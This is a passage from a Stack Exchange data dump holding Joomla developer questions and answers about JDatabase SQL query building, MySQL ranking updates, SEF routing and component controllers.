&quot;)&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This final snippet will properly single-quote each string and escape the single-quotes within each string (e.g. &lt;code&gt;'Mark O\'Malley'&lt;/code&gt;)  Here's &lt;a href=&quot;https://joomla.stackexchange.com/a/22897/12352&quot;&gt;a similar post&lt;/a&gt; for a bit more reading.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-10-26T21:40:04.613" LastActivityDate="2019-10-26T21:40:04.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22900" PostTypeId="2" ParentId="22894" CreationDate="2018-05-27T00:46:50.493" Score="3" Body="&lt;p&gt;When you are only referencing one table in your query, there is no need to explicitly reference the table when writing columns.  Also, the default order direction for sql is &lt;code&gt;ASC&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your syntax could be simplified to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;name=&quot;example_group&quot; &#xA;type=&quot;sql&quot; &#xA;label=&quot;COM_EXAMPLE_GROUP&quot; &#xA;sql_select=&quot;id, name&quot; &#xA;sql_from=&quot;#__example&quot; &#xA;sql_group=&quot;name&quot; &#xA;sql_order=&quot;id&quot; &#xA;key_field=&quot;id&quot;&#xA;value_field=&quot;name&quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No table alias, no excess table references, no sorting direction -- sql will behave as intended by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only imagine that the docs page is being verbose for developers that may try more complicated queries or for developers that don't fully grasp how sql queries work by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a matter of best practice, when you know the column(s) that you wish to extract data from, you should explicitly name the column(s) in the &lt;code&gt;select&lt;/code&gt; clause.  This way your coding intent is clear and your database doesn't need to work harder than necessary.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-05-27T00:46:50.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22902" PostTypeId="2" ParentId="10433" CreationDate="2018-05-27T12:09:49.983" Score="1" Body="&lt;p&gt;I have a few concerns and refinements, but I'll skip straight to the code first and explain after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to generate a query that renders like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.date, a.reminder, a.type, a.animal, a.mob, b.nameandid AS 'animalname'&#xA;FROM app_reminders a&#xA;LEFT JOIN app_animal b ON a.animal = b.id&#xA;WHERE a.date &amp;gt;= NOW() AND a.user_id = 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that my &lt;code&gt;JOIN&lt;/code&gt; and the &lt;code&gt;JOIN&lt;/code&gt; in your linked StackOverflow page's question are using &lt;code&gt;LEFT JOIN&lt;/code&gt;.  The OP on that question is wanting only rows with values in all joined tables.  The answer uses &lt;code&gt;JOIN&lt;/code&gt; (regular join aka &lt;code&gt;INNER JOIN&lt;/code&gt;) this ignores rows that have &lt;code&gt;null&lt;/code&gt; for the joining value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want something different.  You want the rows from the first table regardless of if the second table contains a qualifying value to join on the row.  For this, you want &lt;code&gt;LEFT JOIN&lt;/code&gt;.  Here is an &lt;a href=&quot;http://sqlfiddle.com/#!9/f7ecd/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLFiddle Demo&lt;/a&gt; if you want to play around and compare the results of the joins.  (If this isn't the action you are seeking, you should be able to use this link to express what isn't quite right.)  With &lt;code&gt;LEFT JOIN&lt;/code&gt; you won't need to add the extra condition to check &lt;code&gt;IS NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As asides...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You are using the &lt;code&gt;LIKE&lt;/code&gt; operator but without &lt;code&gt;%&lt;/code&gt; or &lt;code&gt;_&lt;/code&gt; wildcards, so there is no reason to write &lt;code&gt;LIKE&lt;/code&gt;.  Just simplify to &lt;code&gt;=&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;While &lt;code&gt;date&lt;/code&gt; and &lt;code&gt;type&lt;/code&gt; are mysql &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.5/en/keywords.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;KEYWORDS&lt;/a&gt;, they are not &lt;a href=&quot;https://stackoverflow.com/a/15150808/2943403&quot;&gt;RESERVED KEYWORDS&lt;/a&gt; so they don't NEED to be wrapped in backticks. This is also true of all of your other columns and the tablenames.  You are welcome to use &lt;code&gt;qn()&lt;/code&gt;/&lt;code&gt;quoteName()&lt;/code&gt; on all of these entities, but it will only add bloat to your query syntax and code.&lt;/li&gt;&#xA;&lt;li&gt;So that your query is more human-readable, include a single space on both side of your comparison operators. (e.g. &lt;code&gt;'LIKE'&lt;/code&gt; is better as &lt;code&gt;' LIKE '&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;As a security precaution, cast your &lt;code&gt;$userid&lt;/code&gt; variable as an integer &lt;code&gt;(int)&lt;/code&gt; when applying it to your query.  Integer values do not need to be quoted.&lt;/li&gt;&#xA;&lt;li&gt;As a matter of personal preference with the intention to improve readability/code-comprehension, I try to avoid using duplicate method calls as a concatenation technique for a single clause.  My suggested Joomla snippet will only use one &lt;code&gt;select()&lt;/code&gt; and one &lt;code&gt;where()&lt;/code&gt; call.  (When joining multiple tables, the presence of multiple &lt;code&gt;join()&lt;/code&gt; calls is logical/intuitive.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Joomla Syntax (no quoting methods called):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&quot;a.date, a.reminder, a.type, a.animal, a.mob, b.nameandid AS 'animalname'&quot;)&#xA;            -&amp;gt;from(&quot;app_reminders a&quot;)&#xA;            -&amp;gt;joinLeft(&quot;app_animal b ON a.animal = b.id&quot;)&#xA;            -&amp;gt;where(&quot;a.date &amp;gt;= NOW() AND a.user_id = &quot; . (int)$userid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. If you actually want to use &lt;code&gt;LIKE&lt;/code&gt; with wildcard character(s), &lt;a href=&quot;https://joomla.stackexchange.com/a/22712/12352&quot;&gt;this post&lt;/a&gt; will show you the secure way -- sourced from the Joomla documentation.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-05-27T12:09:49.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22904" PostTypeId="2" ParentId="22680" CreationDate="2018-05-27T18:54:40.667" Score="1" Body="&lt;p&gt;The simplest solution is to make an SQL query replacing &lt;code&gt;src=&quot;http://yourwebsitedomain&lt;/code&gt; to &lt;code&gt;src=&quot;https://yourwebsitedomain&lt;/code&gt; of course database backup is required. &lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2018-05-27T18:54:40.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22907" PostTypeId="1" AcceptedAnswerId="22917" CreationDate="2018-05-28T12:21:26.427" Score="2" ViewCount="295" Body="&lt;p&gt;I was wondering if anyone could help me JOIN multiple queries into one query. Currently, these 2 blocks of code retrieve information from the DB. I am using the &quot;Sourcerer&quot; plugin to add custom PHP code in my custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the full query is much too long, and I need to reduce the size considerably. After a certain amount of queries, the page just doesn't load at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will post two queries I need to have joined as an example. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$db = JFactory::getDbo();&#xA;$db-&amp;gt;getQuery(true);&#xA;&#xA;$db-&amp;gt;setQuery(&quot;SELECT `SubmissionId`, `FieldValue`, `FormId` FROM `jos_rsform_submission_values` WHERE `FieldName` = \&quot;Status1\&quot; AND `FieldValue` = \&quot;Pending\&quot; AND `FormId` = 28&quot;);&#xA;$results = $db-&amp;gt;loadColumn();&#xA;&#xA;$db-&amp;gt;getQuery(true);&#xA;$db-&amp;gt;setQuery(&quot;SELECT `FieldValue` FROM `jos_rsform_submission_values` WHERE `FieldName` = \&quot;Container1\&quot; AND `SubmissionId` IN ('&quot;.implode(&quot;', '&quot;, $results).&quot;') ORDER BY `jos_rsform_submission_values`.`SubmissionId`&quot;); &#xA;&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach($result as $value) {&#xA;    foreach($value as $key =&amp;gt; $data) { &#xA;        echo $data.&quot;&amp;lt;br /&amp;gt;&quot;; &#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9578" LastEditorUserId="12352" LastEditDate="2019-10-18T07:40:54.430" LastActivityDate="2019-10-18T07:40:54.430" Title="How to refactor two select queries on RSForm submission data?" Tags="|joomla-3.x|php|mysql|rsform|pivot|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22908" PostTypeId="2" ParentId="22441" CreationDate="2018-05-28T16:44:47.390" Score="0" Body="&lt;p&gt;this ended up working for me. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;intro_items as $key =&amp;gt; &amp;amp;$item) : &#xA; $this-&amp;gt;item = &amp;amp;$item;&#xA;  if (($key/2)%2) {&#xA;   echo $this-&amp;gt;loadTemplate('item');&#xA;  } else {&#xA;   echo $this-&amp;gt;loadTemplate('item2');&#xA;  }&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12246" LastActivityDate="2018-05-28T16:44:47.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22911" PostTypeId="1" AcceptedAnswerId="22948" CreationDate="2018-05-29T02:26:31.070" Score="0" ViewCount="61" Body="&lt;p&gt;I am adding a new menu item to my Joomla 2.5 site (can't upgrade to Joomla! 3 due to old version of PHP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am adding the menu item &quot;Download&quot; at the top level of the main menu. The url ends up being &lt;code&gt;mysite.com/com-akeeba/download&lt;/code&gt; instead of &lt;code&gt;mysite.com/download&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on? I disabled all of the Akeeba extensions and nothing changed.&lt;/p&gt;&#xA;" OwnerUserId="9001" LastActivityDate="2018-06-06T09:36:18.367" Title="Joomla menu item has &quot;com-akeeba&quot; embedded in the url" Tags="|joomla-2.5|menu|menu-item|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22912" PostTypeId="2" ParentId="22839" CreationDate="2018-05-29T08:28:12.887" Score="0" Body="&lt;p&gt;It was a network problem, nothing to do with Joomla configuration.&lt;/p&gt;&#xA;" OwnerUserId="7958" LastActivityDate="2018-05-29T08:28:12.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22913" PostTypeId="1" AcceptedAnswerId="22918" CreationDate="2018-05-29T18:49:48.427" Score="0" ViewCount="174" Body="&lt;p&gt;I have a custom component that will be using various AJAX calls, based on outside settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I load &quot;this&quot; controller from the View or Model to determine if a method/function exists, i.e. PHP &lt;code&gt;method_exists&lt;/code&gt; and/or &lt;code&gt;is_callable&lt;/code&gt;;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2018-05-30T13:26:57.707" Title="Is it possible to check if a method or function exists in the component controller?" Tags="|custom-component|model|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22915" PostTypeId="1" CreationDate="2018-05-30T04:16:06.983" Score="1" ViewCount="168" Body="&lt;p&gt;Hi we have 2 different custom componenets running on a website (they aren't loaded together, just have the same issue) and they have pagination.&#xA;We are finding that when clicking on the pagination an error appears in the console saying &quot;Joomla is not defined&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this problem only happens when a user is logged in. If you are viewing the website as a guest the pagination works.&#xA;I have looked at the source code and can only find this script tag when NOT logged in, if I am logged in, it disappears&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;application/json&quot; class=&quot;joomla-script-options new&quot;&amp;gt;{&quot;csrf.token&quot;:&quot;b45d9db1708f046a81ec5746ba26ed7c&quot;,&quot;system.paths&quot;:{&quot;root&quot;:&quot;&quot;,&quot;base&quot;:&quot;&quot;},&quot;system.keepalive&quot;:{&quot;interval&quot;:840000,&quot;uri&quot;:&quot;\/component\/ajax\/?format=json&quot;}}&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried a couple of solutions (eg adding JHtml::_('behavior.framework');) to the components code but nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone know whats going on? It did work before, I don't however know when it stopped.&lt;/p&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2018-05-30T04:16:06.983" Title="&quot;Joomla is not defined&quot; error when logged in - Pagination" Tags="|joomla-3.x|component|custom-component|pagination|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22916" PostTypeId="2" ParentId="22372" CreationDate="2018-05-30T05:54:23.667" Score="1" Body="&lt;p&gt;Joomla syntax aside, let's start by explaining your desired action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to apply an incrementing counter to a specific column for all rows in the table.  This is a very reasonable and common task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your raw query is correct. (&lt;a href=&quot;http://sqlfiddle.com/#!9/9b5230/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLFiddle Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is getting Joomla to understand that you want the counter to be instantiated prior to the &lt;code&gt;UPDATE&lt;/code&gt; query.  Even harder is convincing Joomla to execute both operations in a single transaction.  Assuming your table prefix is &lt;code&gt;lmnop&lt;/code&gt; then you would want the following query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET @rownumber = 0;&#xA;UPDATE `lmnop_hikers` SET `rank` = (@rownumber := @rownumber + 1)&#xA;ORDER BY `score` DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when you repeat the Joomla query method &lt;code&gt;set()&lt;/code&gt;, Joomla tries to do you a favor and groups those clauses together with a comma (regardless of the order of your code lines).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;set(&quot;@rownumber = 0&quot;)&#xA;                -&amp;gt;update($db-&amp;gt;qn(&quot;#__hikers&quot;))&#xA;                -&amp;gt;set($db-&amp;gt;qn(&quot;rank&quot;) . &quot; = (@rownumber := @rownumber + 1)&quot;)&#xA;                -&amp;gt;order($db-&amp;gt;qn(&quot;score&quot;) . &quot; DESC&quot;);&#xA;    echo $query-&amp;gt;dump();    // testing only, don't do this when live/public&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    echo &quot;&amp;lt;div&amp;gt;&quot; . $db-&amp;gt;getAffectedRows() . &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;} catch (Exception $e) {&#xA;    echo &quot;&amp;lt;div&amp;gt;&quot; , $e-&amp;gt;getMessage() , &quot;&amp;lt;/div&amp;gt;&quot;;  // don't do this when live/public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f6jgb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f6jgb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And receive this error: (as you've discovered)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@rownumber = 0 , `rank` = (@rownumber := @rownumber + 1) ORDER BY `score` DESC' at line 2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So how can we manufacture a query that performs the variable incrementation in a single transaction and successfully update the table?  Well, it's not pretty... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I drew some inspiration from: &lt;a href=&quot;https://stackoverflow.com/a/39384104/2943403&quot;&gt;#1221 - Incorrect usage of UPDATE and ORDER BY&lt;/a&gt;  Keep in mind, the posted ranking technique is &quot;tie-ignorant&quot; (dense rank).  Also, a comment claims: &lt;em&gt;This doesn't work in MariaDB because ORDER BY is ignored in subqueries.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first discovery -- joining on &lt;code&gt;score&lt;/code&gt; for &quot;Gapped Ranking&quot;: (&lt;a href=&quot;http://sqlfiddle.com/#!9/5fe654/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLFiddle Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `lmnop_hikers` a &#xA;INNER JOIN &#xA;(&#xA;    SELECT *, @i := @i + 1 AS `counter`&#xA;    FROM `lmnop_hikers`&#xA;    CROSS JOIN (SELECT @i := 0) c&#xA;    ORDER BY `score` DESC&#xA;) b&#xA;ON a.`score` = b.`score`&#xA;SET a.`rank` = b.`counter`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Great, it works as desired on the fiddle.  But wait, when I tried to run that through my Joomla/PHP or via phpMyAdmin I got skewed/broken results. (I didn't isolate the cause of the issue; I just started chiseling away at a workaround.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a while, I used this sledgehammer approach ...if you thought the first query was ugly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Raw Query works on my phpMyAdmin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE lmnop_hikers a&#xA;INNER JOIN (&#xA;    SELECT b.*, MIN(counter) AS `min` FROM `lmnop_hikers` AS `b`&#xA;    INNER JOIN (&#xA;        SELECT *, @i := @i + 1 AS `counter`&#xA;        FROM `lmnop_hikers`&#xA;        CROSS JOIN (&#xA;            SELECT @i := 0&#xA;        ) d&#xA;        ORDER BY `score` DESC&#xA;    ) c ON `b`.`score` = `c`.`score`&#xA;    GROUP BY b.id&#xA;) b ON a.id = b.id&#xA;SET a.rank = b.`min`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Producing the following expected result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/75HZq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/75HZq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla/PHP Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $crossjoin = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;select(&quot;@i := 0&quot;);&#xA;&#xA;    $subinnerjoin = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;select(&quot;*, @i := @i + 1 AS &quot; . $db-&amp;gt;qn(&quot;counter&quot;))&#xA;                       -&amp;gt;from($db-&amp;gt;qn(&quot;#__hikers&quot;))&#xA;                       -&amp;gt;join(&quot;CROSS&quot;, &quot;($crossjoin) d&quot;)&#xA;                       -&amp;gt;order($db-&amp;gt;qn(&quot;score&quot;) . &quot; DESC&quot;);&#xA;&#xA;    $innerjoin =$db-&amp;gt;getQuery(true)&#xA;                   -&amp;gt;select(&quot;b.*, MIN(&quot; . $db-&amp;gt;qn(&quot;counter&quot;) . &quot;) AS &quot; . $db-&amp;gt;qn(&quot;min&quot;))&#xA;                   -&amp;gt;from($db-&amp;gt;qn(&quot;#__hikers&quot;, &quot;b&quot;))&#xA;                   -&amp;gt;innerJoin(&quot;($subinnerjoin) c ON &quot; . $db-&amp;gt;qn(&quot;b.score&quot;) . &quot; = &quot; . $db-&amp;gt;qn(&quot;c.score&quot;))&#xA;                   -&amp;gt;group($db-&amp;gt;qn(&quot;b.id&quot;));&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;update($db-&amp;gt;qn(&quot;#__hikers&quot;, &quot;a&quot;))&#xA;                -&amp;gt;innerJoin(&quot;($innerjoin) b ON a.id = b.id&quot;)&#xA;                -&amp;gt;set($db-&amp;gt;qn(&quot;a.rank&quot;) . &quot; = &quot; . $db-&amp;gt;qn(&quot;b.min&quot;));&#xA;    echo $query-&amp;gt;dump();    // testing only, don't do this when live/public&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    echo &quot;&amp;lt;div&amp;gt;&quot; , $db-&amp;gt;getAffectedRows() , &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;} catch (Exception $e) {&#xA;    echo &quot;&amp;lt;div&amp;gt;&quot; , $e-&amp;gt;getMessage() , &quot;&amp;lt;/div&amp;gt;&quot;;  // don't do this when live/public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Printing this to screen:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `lmnop_hikers` AS `a`&#xA;INNER JOIN (&#xA;SELECT b.*, MIN(`counter`) AS `min`&#xA;FROM `lmnop_hikers` AS `b`&#xA;INNER JOIN (&#xA;SELECT *, @i := @i + 1 AS `counter`&#xA;FROM `lmnop_hikers`&#xA;CROSS JOIN (&#xA;SELECT @i := 0) d&#xA;ORDER BY `score` DESC) c ON `b`.`score` = `c`.`score`&#xA;GROUP BY `b`.`id`) b ON a.id = b.id&#xA;SET `a`.`rank` = `b`.`min`&#xA;&#xA;10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If anyone would like to offer any refinements or insights as to why the simpler JOIN query works on SQLFiddle (mysql5.6) but not my localhost (mysql5.7.19), they will be warmly received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to continue researching about different Ranking techniques, this might give some valuable insights: &lt;a href=&quot;https://mattmazur.com/2017/03/26/exploring-ranking-techniques-in-mysql/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mattmazur.com/2017/03/26/exploring-ranking-techniques-in-mysql/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-01-20T04:09:10.023" LastActivityDate="2019-01-20T04:09:10.023" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22917" PostTypeId="2" ParentId="22907" CreationDate="2018-05-30T12:35:13.140" Score="2" Body="&lt;p&gt;Here is what I believe the mySQL query to be with (1,2,3) substituted in for your imploding of results because I wanted to check the mySql syntax of it.  I don't have time to convert into PHP right now, but wanted to try to help.  If it doesn't work, let me know in comments and I will try to adjust:&lt;br/&gt;&lt;br/&gt;&lt;code&gt;SELECT a.FieldValue as Container, b.FieldValue as ContainerType&#xA;FROM (&#xA;    SELECT FieldValue &#xA;    FROM jos_rsform_submission_values&#xA;    WHERE FieldName = &quot;Container1&quot; &#xA;       AND SubmissionId IN (1,2,3)) as a&#xA;LEFT JOIN (&#xA;    SELECT FieldValue&#xA;    FROM jos_rsform_submission_values&#xA;    WHERE FieldName = &quot;containertype1&quot; &#xA;        AND SubmissionId IN (1,2,3)) as b&#xA;on a.SubmissionId = b.SubmissionId&#xA;ORDER BY a.SubmissionId;&lt;/code&gt;&lt;br/&gt;&lt;br/&gt;I had to remove the tick marks to get StackExchange to format correctly, but I would suggest converting your code to use $db-&gt;quote and $dbquotename instead anyway: &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Secure_coding_guidelines&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-05-30T12:35:13.140" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22918" PostTypeId="2" ParentId="22913" CreationDate="2018-05-30T13:26:57.707" Score="1" Body="&lt;p&gt;I never figured out how to use &lt;code&gt;$this&lt;/code&gt;, but it was pretty straightforward otherwise.  This checks to see if the &lt;code&gt;add&lt;/code&gt; method exists in the Article controller.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ToolsClass = 'ContentControllerArticle';&#xA;$methodToFind = 'add';&#xA;JLoader::register($ToolsClass, JPATH_SITE . '/components/com_content/controllers/article.php');&#xA;if (!method_exists($ToolsClass, $methodToFind)){&#xA;    echo &quot;Content Controller Function '{$methodToFind}' not found&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2018-05-30T13:26:57.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22920" PostTypeId="1" AcceptedAnswerId="22922" CreationDate="2018-05-31T09:41:42.703" Score="0" ViewCount="128" Body="&lt;p&gt;I have a button in a list &amp;amp; search form that when clicked displays a modal where the user can select an item from a dropdown and click another button to call a processing script. The user can select multiple check boxes in the list view to apply the selected value to, which gets passed to the processing script via &lt;code&gt;$config['id']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to capture the value selected in the dropdown however. I only appear to have access to &lt;code&gt;$config&lt;/code&gt;, and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other variables accessible to the processing script? Or can I pass one through somehow?&lt;/p&gt;&#xA;" OwnerUserId="12588" LastEditorUserId="12588" LastEditDate="2018-05-31T09:50:15.040" LastActivityDate="2018-05-31T11:17:52.967" Title="How can I pass a value from a field in a modal to a processing script using SEBLOD?" Tags="|joomla-3.x|search|modal|seblod|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22922" PostTypeId="2" ParentId="22920" CreationDate="2018-05-31T11:17:52.967" Score="0" Body="&lt;p&gt;I managed to achieve this using the following in my processing script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$formVal = intval($app-&amp;gt;input-&amp;gt;get('dropdown', ''));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;dropdown&lt;/code&gt; is the name of the dropdown box in the modal form. The value of the dropdown is an integer, hence using the &lt;code&gt;intval&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="12588" LastActivityDate="2018-05-31T11:17:52.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22924" PostTypeId="2" ParentId="1064" CreationDate="2018-06-02T15:48:35.717" Score="0" Body="&lt;p&gt;This thread is quite old but this might help others...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;elk's reply is almost exactly spot-on, except that I had to modify to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var currentText = innerDoc.body.innerHTML;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7827" LastActivityDate="2018-06-02T15:48:35.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22925" PostTypeId="1" CreationDate="2018-06-02T18:47:41.387" Score="0" ViewCount="523" Body="&lt;p&gt;So I have this weird problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am calling &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?option=com_example&amp;amp;view=foo&amp;amp;layout=bar') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..from two different &lt;code&gt;view-layouts&lt;/code&gt;. And Joomla! is generating different SEF-URL based on &lt;strong&gt;which layout that I am calling the above code from&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What I expect is that, If I generate an SEF URL it should point to that same exact resource with same exact URL, no matter where I am calling this from, since everything is pretty specific. viz. the component name, the view name, and the layout name.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2024-04-04T18:01:55.230" Title="&quot;JRoute::_&quot; generating two different urls for same link" Tags="|menu|jroute|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
